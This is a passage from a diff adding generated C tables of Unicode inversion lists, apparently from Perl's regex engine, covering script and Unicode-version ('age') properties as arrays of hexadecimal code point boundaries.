+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xBF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE2,
+	0xFF,
+	0x100,
+	0x34F,
+	0x350,
+	0x61C,
+	0x61D,
+	0x115F,
+	0x1161,
+	0x1680,
+	0x1681,
+	0x17B4,
+	0x17B6,
+	0x180B,
+	0x180F,
+	0x2000,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2070,
+	0x2190,
+	0x2460,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2C00,
+	0x2E00,
+	0x2E80,
+	0x3000,
+	0x3004,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3164,
+	0x3165,
+	0xFD3E,
+	0xFD40,
+	0xFE00,
+	0xFE10,
+	0xFE45,
+	0xFE47,
+	0xFEFF,
+	0xFF00,
+	0xFFA0,
+	0xFFA1,
+	0xFFF0,
+	0xFFF9,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_ADLM_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x640,
+	0x641,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960
+};
+
+static const UV PL_AEGEANNUMBERS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10100,
+	0x10140
+};
+
+static const UV PL_AGE__10_invlist[] = { /* for all charsets */
+	81,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x860,
+	0x86B,
+	0x9FC,
+	0x9FE,
+	0xAFA,
+	0xB00,
+	0xD00,
+	0xD01,
+	0xD3B,
+	0xD3D,
+	0x1CF7,
+	0x1CF8,
+	0x1DF6,
+	0x1DFA,
+	0x20BF,
+	0x20C0,
+	0x23FF,
+	0x2400,
+	0x2BD2,
+	0x2BD3,
+	0x2E45,
+	0x2E4A,
+	0x312E,
+	0x312F,
+	0x9FD6,
+	0x9FEB,
+	0x1032D,
+	0x10330,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x16FE1,
+	0x16FE2,
+	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1F260,
+	0x1F266,
+	0x1F6D3,
+	0x1F6D5,
+	0x1F6F7,
+	0x1F6F9,
+	0x1F900,
+	0x1F90C,
+	0x1F91F,
+	0x1F920,
+	0x1F928,
+	0x1F930,
+	0x1F931,
+	0x1F933,
+	0x1F94C,
+	0x1F94D,
+	0x1F95F,
+	0x1F96C,
+	0x1F992,
+	0x1F998,
+	0x1F9D0,
+	0x1F9E7,
+	0x2CEB0,
+	0x2EBE1
+};
+
+static const UV PL_AGE__2_invlist[] = { /* for all charsets */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5B0,
+	0x5C4,
+	0x5C5,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6A,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF96,
+	0xF97,
+	0xF98,
+	0xF99,
+	0xFAE,
+	0xFB1,
+	0xFB8,
+	0xFB9,
+	0xFBA,
+	0x1E9B,
+	0x1E9C,
+	0x20AB,
+	0x20AC,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xE000,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_AGE__2_DOT_1_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20AC,
+	0x20AD,
+	0xFFFC,
+	0xFFFD
+};
+
+static const UV PL_AGE__3_invlist[] = { /* for all charsets */
+	243,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F6,
+	0x1FA,
+	0x218,
+	0x220,
+	0x222,
+	0x234,
+	0x2A9,
+	0x2AE,
+	0x2DF,
+	0x2E0,
+	0x2EA,
+	0x2EF,
+	0x346,
+	0x34F,
+	0x362,
+	0x363,
+	0x3D7,
+	0x3D8,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x400,
+	0x401,
+	0x40D,
+	0x40E,
+	0x450,
+	0x451,
+	0x45D,
+	0x45E,
+	0x488,
+	0x48A,
+	0x48C,
+	0x490,
+	0x4EC,
+	0x4EE,
+	0x58A,
+	0x58B,
+	0x653,
+	0x656,
+	0x6B8,
+	0x6BA,
+	0x6BF,
+	0x6C0,
+	0x6CF,
+	0x6D0,
+	0x6FA,
+	0x6FF,
+	0x700,
+	0x70E,
+	0x70F,
+	0x72D,
+	0x730,
+	0x74B,
+	0x780,
+	0x7B1,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xF6A,
+	0xF6B,
+	0xF96,
+	0xF97,
+	0xFAE,
+	0xFB1,
+	0xFB8,
+	0xFB9,
+	0xFBA,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCF,
+	0xFD0,
+	0x1000,
+	0x1022,
+	0x1023,
+	0x1028,
+	0x1029,
+	0x102B,
+	0x102C,
+	0x1033,
+	0x1036,
+	0x103A,
+	0x1040,
+	0x105A,
+	0x1200,
+	0x1207,
+	0x1208,
+	0x1247,
+	0x1248,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1287,
+	0x1288,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12AF,
+	0x12B0,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12CF,
+	0x12D0,
+	0x12D7,
+	0x12D8,
+	0x12EF,
+	0x12F0,
+	0x130F,
+	0x1310,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x131F,
+	0x1320,
+	0x1347,
+	0x1348,
+	0x135B,
+	0x1361,
+	0x137D,
+	0x13A0,
+	0x13F5,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1780,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AA,
+	0x202F,
+	0x2030,
+	0x2048,
+	0x204E,
+	0x20AD,
+	0x20B0,
+	0x20E2,
+	0x20E4,
+	0x2139,
+	0x213B,
+	0x2183,
+	0x2184,
+	0x21EB,
+	0x21F4,
+	0x2301,
+	0x2302,
+	0x237B,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x2425,
+	0x2427,
+	0x25F0,
+	0x25F8,
+	0x2619,
+	0x261A,
+	0x2670,
+	0x2672,
+	0x2800,
+	0x2900,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3038,
+	0x303B,
+	0x303E,
+	0x303F,
+	0x31A0,
+	0x31B8,
+	0x3400,
+	0x4DB6,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4A2,
+	0xA4A4,
+	0xA4B4,
+	0xA4B5,
+	0xA4C1,
+	0xA4C2,
+	0xA4C5,
+	0xA4C6,
+	0xA4C7,
+	0xFB1D,
+	0xFB1E,
+	0xFFF9,
+	0xFFFC
+};
+
+static const UV PL_AGE__3_DOT_1_invlist[] = { /* for all charsets */
+	73,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3F4,
+	0x3F6,
+	0xFDD0,
+	0xFDF0,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10400,
+	0x10426,
+	0x10428,
+	0x1044E,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D12A,
+	0x1D1DE,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C1,
+	0x1D4C2,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A4,
+	0x1D6A8,
+	0x1D7CA,
+	0x1D7CE,
+	0x1D800,
+	0x20000,
+	0x2A6D7,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+static const UV PL_AGE__3_DOT_2_invlist[] = { /* for all charsets */
+	119,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x220,
+	0x221,
+	0x34F,
+	0x350,
+	0x363,
+	0x370,
+	0x3D8,
+	0x3DA,
+	0x3F6,
+	0x3F7,
+	0x48A,
+	0x48C,
+	0x4C5,
+	0x4C7,
+	0x4C9,
+	0x4CB,
+	0x4CD,
+	0x4CF,
+	0x500,
+	0x510,
+	0x66E,
+	0x670,
+	0x7B1,
+	0x7B2,
+	0x10F7,
+	0x10F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x2047,
+	0x2048,
+	0x204E,
+	0x2053,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2064,
+	0x2071,
+	0x2072,
+	0x20B0,
+	0x20B2,
+	0x20E4,
+	0x20EB,
+	0x213D,
+	0x214C,
+	0x21F4,
+	0x2200,
+	0x22F2,
+	0x2300,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23CF,
+	0x24EB,
+	0x24FF,
+	0x2596,
+	0x25A0,
+	0x25F8,
+	0x2600,
+	0x2616,
+	0x2618,
+	0x2672,
+	0x267E,
+	0x2680,
+	0x268A,
+	0x2768,
+	0x2776,
+	0x27D0,
+	0x27EC,
+	0x27F0,
+	0x2800,
+	0x2900,
+	0x2B00,
+	0x303B,
+	0x303E,
+	0x3095,
+	0x3097,
+	0x309F,
+	0x30A1,
+	0x30FF,
+	0x3100,
+	0x31F0,
+	0x3200,
+	0x3251,
+	0x3260,
+	0x32B1,
+	0x32C0,
+	0xA4A2,
+	0xA4A4,
+	0xA4B4,
+	0xA4B5,
+	0xA4C1,
+	0xA4C2,
+	0xA4C5,
+	0xA4C6,
+	0xFA30,
+	0xFA6B,
+	0xFDFC,
+	0xFDFD,
+	0xFE00,
+	0xFE10,
+	0xFE45,
+	0xFE47,
+	0xFE73,
+	0xFE74,
+	0xFF5F,
+	0xFF61
+};
+
+static const UV PL_AGE__4_invlist[] = { /* for all charsets */
+	155,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x221,
+	0x222,
+	0x234,
+	0x237,
+	0x2AE,
+	0x2B0,
+	0x2EF,
+	0x300,
+	0x350,
+	0x358,
+	0x35D,
+	0x360,
+	0x3F7,
+	0x3FC,
+	0x600,
+	0x604,
+	0x60D,
+	0x616,
+	0x656,
+	0x659,
+	0x6EE,
+	0x6F0,
+	0x6FF,
+	0x700,
+	0x72D,
+	0x730,
+	0x74D,
+	0x750,
+	0x904,
+	0x905,
+	0x9BD,
+	0x9BE,
+	0xA01,
+	0xA02,
+	0xA03,
+	0xA04,
+	0xA8C,
+	0xA8D,
+	0xAE1,
+	0xAE4,
+	0xAF1,
+	0xAF2,
+	0xB35,
+	0xB36,
+	0xB71,
+	0xB72,
+	0xBF3,
+	0xBFB,
+	0xCBC,
+	0xCBE,
+	0x17DD,
+	0x17DE,
+	0x17F0,
+	0x17FA,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x19E0,
+	0x1A00,
+	0x1D00,
+	0x1D6C,
+	0x2053,
+	0x2055,
+	0x213B,
+	0x213C,
+	0x23CF,
+	0x23D1,
+	0x24FF,
+	0x2500,
+	0x2614,
+	0x2616,
+	0x268A,
+	0x2692,
+	0x26A0,
+	0x26A2,
+	0x2B00,
+	0x2B0E,
+	0x321D,
+	0x321F,
+	0x3250,
+	0x3251,
+	0x327C,
+	0x327E,
+	0x32CC,
+	0x32D0,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xFDFD,
+	0xFDFE,
+	0xFE47,
+	0xFE49,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103A0,
+	0x10426,
+	0x10428,
+	0x1044E,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840,
+	0x1D300,
+	0x1D357,
+	0x1D4C1,
+	0x1D4C2,
+	0xE0100,
+	0xE01F0
+};
+
+static const UV PL_AGE__4_DOT_1_invlist[] = { /* for all charsets */
+	173,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x237,
+	0x242,
+	0x358,
+	0x35D,
+	0x3FC,
+	0x400,
+	0x4F6,
+	0x4F8,
+	0x5A2,
+	0x5A3,
+	0x5C5,
+	0x5C8,
+	0x60B,
+	0x60C,
+	0x61E,
+	0x61F,
+	0x659,
+	0x65F,
+	0x750,
+	0x76E,
+	0x97D,
+	0x97E,
+	0x9CE,
+	0x9CF,
+	0xBB6,
+	0xBB7,
+	0xBE6,
+	0xBE7,
+	0xFD0,
+	0xFD2,
+	0x10F9,
+	0x10FB,
+	0x10FC,
+	0x10FD,
+	0x1207,
+	0x1208,
+	0x1247,
+	0x1248,
+	0x1287,
+	0x1288,
+	0x12AF,
+	0x12B0,
+	0x12CF,
+	0x12D0,
+	0x12EF,
+	0x12F0,
+	0x130F,
+	0x1310,
+	0x131F,
+	0x1320,
+	0x1347,
+	0x1348,
+	0x135F,
+	0x1361,
+	0x1380,
+	0x139A,
+	0x1980,
+	0x19AA,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x19DE,
+	0x19E0,
+	0x1A00,
+	0x1A1C,
+	0x1A1E,
+	0x1A20,
+	0x1D6C,
+	0x1DC4,
+	0x2055,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2090,
+	0x2095,
+	0x20B2,
+	0x20B6,
+	0x20EB,
+	0x20EC,
+	0x213C,
+	0x213D,
+	0x214C,
+	0x214D,
+	0x23D1,
+	0x23DC,
+	0x2618,
+	0x2619,
+	0x267E,
+	0x2680,
+	0x2692,
+	0x269D,
+	0x26A2,
+	0x26B2,
+	0x27C0,
+	0x27C7,
+	0x2B0E,
+	0x2B14,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C80,
+	0x2CEB,
+	0x2CF9,
+	0x2D26,
+	0x2D30,
+	0x2D66,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E00,
+	0x2E18,
+	0x2E1C,
+	0x2E1E,
+	0x31C0,
+	0x31D0,
+	0x327E,
+	0x327F,
+	0x9FA6,
+	0x9FBC,
+	0xA700,
+	0xA717,
+	0xA800,
+	0xA82C,
+	0xFA70,
+	0xFADA,
+	0xFE10,
+	0xFE1A,
+	0x10140,
+	0x1018B,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x1D200,
+	0x1D246,
+	0x1D6A4,
+	0x1D6A6
+};
+
+static const UV PL_AGE__5_invlist[] = { /* for all charsets */
+	71,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x242,
+	0x250,
+	0x37B,
+	0x37E,
+	0x4CF,
+	0x4D0,
+	0x4FA,
+	0x500,
+	0x510,
+	0x514,
+	0x5BA,
+	0x5BB,
+	0x7C0,
+	0x7FB,
+	0x97B,
+	0x97D,
+	0x97E,
+	0x980,
+	0xCE2,
+	0xCE4,
+	0xCF1,
+	0xCF3,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1DC4,
+	0x1DCB,
+	0x1DFE,
+	0x1E00,
+	0x20EC,
+	0x20F0,
+	0x214D,
+	0x214F,
+	0x2184,
+	0x2185,
+	0x23DC,
+	0x23E8,
+	0x26B2,
+	0x26B3,
+	0x27C7,
+	0x27CB,
+	0x2B14,
+	0x2B1B,
+	0x2B20,
+	0x2B24,
+	0x2C60,
+	0x2C6D,
+	0x2C74,
+	0x2C78,
+	0xA717,
+	0xA71B,
+	0xA720,
+	0xA722,
+	0xA840,
+	0xA878,
+	0x10900,
+	0x1091A,
+	0x1091F,
+	0x10920,
+	0x12000,
+	0x1236F,
+	0x12400,
+	0x12463,
+	0x12470,
+	0x12474,
+	0x1D360,
+	0x1D372,
+	0x1D7CA,
+	0x1D7CC
+};
+
+static const UV PL_AGE__5_DOT_1_invlist[] = { /* for all charsets */
+	179,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x3CF,
+	0x3D0,
+	0x487,
+	0x488,
+	0x514,
+	0x524,
+	0x606,
+	0x60B,
+	0x616,
+	0x61B,
+	0x63B,
+	0x640,
+	0x76E,
+	0x780,
+	0x971,
+	0x973,
+	0xA51,
+	0xA52,
+	0xA75,
+	0xA76,
+	0xB44,
+	0xB45,
+	0xB62,
+	0xB64,
+	0xBD0,
+	0xBD1,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5A,
+	0xC62,
+	0xC64,
+	0xC78,
+	0xC80,
+	0xD3D,
+	0xD3E,
+	0xD44,
+	0xD45,
+	0xD62,
+	0xD64,
+	0xD70,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xF6B,
+	0xF6D,
+	0xFCE,
+	0xFCF,
+	0xFD2,
+	0xFD5,
+	0x1022,
+	0x1023,
+	0x1028,
+	0x1029,
+	0x102B,
+	0x102C,
+	0x1033,
+	0x1036,
+	0x103A,
+	0x1040,
+	0x105A,
+	0x109A,
+	0x109E,
+	0x10A0,
+	0x18AA,
+	0x18AB,
+	0x1B80,
+	0x1BAB,
+	0x1BAE,
+	0x1BBA,
+	0x1C00,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C80,
+	0x1DCB,
+	0x1DE7,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x2064,
+	0x2065,
+	0x20F0,
+	0x20F1,
+	0x214F,
+	0x2150,
+	0x2185,
+	0x2189,
+	0x269D,
+	0x269E,
+	0x26B3,
+	0x26BD,
+	0x26C0,
+	0x26C4,
+	0x27CC,
+	0x27CD,
+	0x27EC,
+	0x27F0,
+	0x2B1B,
+	0x2B20,
+	0x2B24,
+	0x2B4D,
+	0x2B50,
+	0x2B55,
+	0x2C6D,
+	0x2C70,
+	0x2C71,
+	0x2C74,
+	0x2C78,
+	0x2C7E,
+	0x2DE0,
+	0x2E00,
+	0x2E18,
+	0x2E1C,
+	0x2E1E,
+	0x2E31,
+	0x312D,
+	0x312E,
+	0x31D0,
+	0x31E4,
+	0x9FBC,
+	0x9FC4,
+	0xA500,
+	0xA62C,
+	0xA640,
+	0xA660,
+	0xA662,
+	0xA674,
+	0xA67C,
+	0xA698,
+	0xA71B,
+	0xA720,
+	0xA722,
+	0xA78D,
+	0xA7FB,
+	0xA800,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA960,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA60,
+	0xFE24,
+	0xFE27,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10920,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x1D129,
+	0x1D12A,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094
+};
+
+static const UV PL_AGE__5_DOT_2_invlist[] = { /* for all charsets */
+	181,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x524,
+	0x526,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x900,
+	0x901,
+	0x94E,
+	0x94F,
+	0x955,
+	0x956,
+	0x979,
+	0x97B,
+	0x9FB,
+	0x9FC,
+	0xFD5,
+	0xFD9,
+	0x109A,
+	0x109E,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1200,
+	0x1400,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x18B0,
+	0x18F6,
+	0x19AA,
+	0x19AC,
+	0x19DA,
+	0x19DB,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1CD0,
+	0x1CF3,
+	0x1DFD,
+	0x1DFE,
+	0x20B6,
+	0x20B9,
+	0x2150,
+	0x2153,
+	0x2189,
+	0x218A,
+	0x23E8,
+	0x23E9,
+	0x269E,
+	0x26A0,
+	0x26BD,
+	0x26C0,
+	0x26C4,
+	0x26CE,
+	0x26CF,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x2700,
+	0x2757,
+	0x2758,
+	0x2B55,
+	0x2B5A,
+	0x2C70,
+	0x2C71,
+	0x2C7E,
+	0x2C80,
+	0x2CEB,
+	0x2CF2,
+	0x2E31,
+	0x2E32,
+	0x3244,
+	0x3250,
+	0x9FC4,
+	0x9FCC,
+	0xA4D0,
+	0xA500,
+	0xA6A0,
+	0xA6F8,
+	0xA830,
+	0xA83A,
+	0xA8E0,
+	0xA8FC,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xAA60,
+	0xAA7C,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAE0,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xFA6B,
+	0xFA6E,
+	0x10840,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x1091A,
+	0x1091C,
+	0x10A60,
+	0x10A80,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10C00,
+	0x10C49,
+	0x10E60,
+	0x10E7F,
+	0x11080,
+	0x110C2,
+	0x13000,
+	0x1342F,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F131,
+	0x1F132,
+	0x1F13D,
+	0x1F13E,
+	0x1F13F,
+	0x1F140,
+	0x1F142,
+	0x1F143,
+	0x1F146,
+	0x1F147,
+	0x1F14A,
+	0x1F14F,
+	0x1F157,
+	0x1F158,
+	0x1F15F,
+	0x1F160,
+	0x1F179,
+	0x1F17A,
+	0x1F17B,
+	0x1F17D,
+	0x1F17F,
+	0x1F180,
+	0x1F18A,
+	0x1F18E,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F201,
+	0x1F210,
+	0x1F232,
+	0x1F240,
+	0x1F249,
+	0x2A700,
+	0x2B735
+};
+
+static const UV PL_AGE__6_invlist[] = { /* for all charsets */
+	213,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x526,
+	0x528,
+	0x620,
+	0x621,
+	0x65F,
+	0x660,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x93A,
+	0x93C,
+	0x94F,
+	0x950,
+	0x956,
+	0x958,
+	0x973,
+	0x978,
+	0xB72,
+	0xB78,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3B,
+	0xD4E,
+	0xD4F,
+	0xF8C,
+	0xF90,
+	0xFD9,
+	0xFDB,
+	0x135D,
+	0x135F,
+	0x1BC0,
+	0x1BF4,
+	0x1BFC,
+	0x1C00,
+	0x1DFC,
+	0x1DFD,
+	0x2095,
+	0x209D,
+	0x20B9,
+	0x20BA,
+	0x23E9,
+	0x23F4,
+	0x26CE,
+	0x26CF,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x275F,
+	0x2761,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x27CE,
+	0x27D0,
+	0x2D70,
+	0x2D71,
+	0x2D7F,
+	0x2D80,
+	0x31B8,
+	0x31BB,
+	0xA660,
+	0xA662,
+	0xA78D,
+	0xA78F,
+	0xA790,
+	0xA792,
+	0xA7A0,
+	0xA7AA,
+	0xA7FA,
+	0xA7FB,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xFBB2,
+	0xFBC2,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x16800,
+	0x16A39,
+	0x1B000,
+	0x1B002,
+	0x1F0A0,
+	0x1F0AF,
